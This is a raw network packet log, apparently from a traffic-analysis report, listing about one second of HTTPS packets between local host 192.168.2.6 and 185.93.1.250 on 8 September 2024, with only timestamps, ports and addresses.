Sep 8, 2024 09:53:45.520443916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.520500898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.520505905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.520543098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.597867966 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.597891092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.597994089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.598032951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.598063946 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.598063946 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.598077059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.598093033 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.598330021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.598342896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.598371983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.598377943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.598406076 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.598912954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.598932028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.598958015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.598962069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.598982096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.599080086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.599092960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.599126101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.599131107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.599154949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.599453926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.599473000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.599499941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.599503994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.599538088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.604166031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.604181051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.604242086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.604247093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.607250929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.607270956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.607312918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.607317924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.607341051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.659061909 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.684956074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.684987068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.685178041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.685178041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.685190916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.685239077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.685281992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.685298920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.685355902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.685362101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.685404062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.685739040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.685753107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.685810089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.685815096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.685857058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.686141968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.686155081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.686212063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.686217070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.686255932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.686532021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.686551094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.686589956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.686594009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.686619997 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.686641932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.686942101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.686958075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.687019110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.687024117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.687067032 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.691195011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.691211939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.691266060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.691272974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.691312075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.694925070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.694937944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.695000887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.695005894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.695039034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.771792889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.771819115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.771900892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.771908998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.771958113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.772173882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.772187948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.772241116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.772245884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.772281885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.772543907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.772557974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.772613049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.772618055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.772654057 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.772936106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.772948980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.773000956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.773005962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.773040056 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.773237944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.773252010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.773293972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.773298979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.773336887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.773601055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.773613930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.773665905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.773670912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.773704052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.778129101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.778147936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.778203964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.778208971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.778250933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.781893969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.781913042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.781959057 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.781965971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.782001019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.858855963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.858876944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.858987093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.859014034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.859030008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.859055042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.859066010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.859077930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.859246969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.859260082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.859286070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.859292030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.859318972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.859730959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.859749079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.859778881 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.859782934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.859814882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.859989882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.860002041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.860028028 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.860033989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.860063076 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.860430002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.860449076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.860483885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.860490084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.860512018 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.865045071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.865058899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.865103960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.865109921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.865149975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.868794918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.868809938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.868875027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.868885040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.909071922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.946017981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.946043968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.946348906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.946393967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.946450949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.946450949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.946450949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.946469069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.946820974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.946835041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.946907043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.946907043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.946913958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.947263002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.947280884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.947340965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.947340965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.947346926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.947714090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.947726011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.947856903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.947863102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.948088884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.948103905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.948117018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.948177099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.948182106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.948308945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.948308945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.952105999 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.952124119 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.952239037 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.952244997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.955774069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.955797911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.955893040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.955899954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.002846956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.032982111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.033004045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.033205986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.033240080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.033251047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.033267975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.033292055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.033292055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.033577919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.033591032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.033659935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.033659935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.033668995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.033970118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.033988953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.034034967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.034034967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.034039974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.034307003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.034318924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.034542084 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.034547091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.034591913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.034607887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.034634113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.034637928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.034827948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.039134979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.039148092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.039227962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.039227962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.039235115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.042617083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.042635918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.042685986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.042690039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.042737007 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.096559048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.120033026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.120049000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.120134115 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.120141029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.120239019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.120300055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.120312929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.120374918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.120379925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.120455027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.120608091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.120621920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.120697975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.120702028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.120759010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.121093988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.121107101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.121174097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.121177912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.121265888 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.122518063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.122530937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.122606993 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.122612000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.122740030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.122761965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.122792959 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.122792959 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.122797012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.122855902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.139137983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.139153957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.139262915 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.139269114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.139309883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.139497995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.139512062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.139636040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.139641047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.139679909 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.206976891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.206994057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.207088947 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.207094908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.207129002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.207525015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.207540035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.207583904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.207592964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.207650900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.207784891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.207798004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.207870960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.207875967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.207938910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.207977057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.207989931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.208050966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.208050966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.208055973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.208164930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.209481001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.209495068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.209572077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.209575891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.209778070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.209795952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.209830046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.209834099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.209867954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.209912062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.214556932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.214571953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.214631081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.214637041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.214687109 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.216852903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.216871023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.216923952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.216933012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.217094898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.294559002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.294576883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.294661045 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.294668913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.294709921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.294754982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.294828892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.294842958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.294886112 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.294898033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.294936895 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.294936895 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.295039892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.295053959 CEST	443	49710	185.93.1.250	192.168.2.6
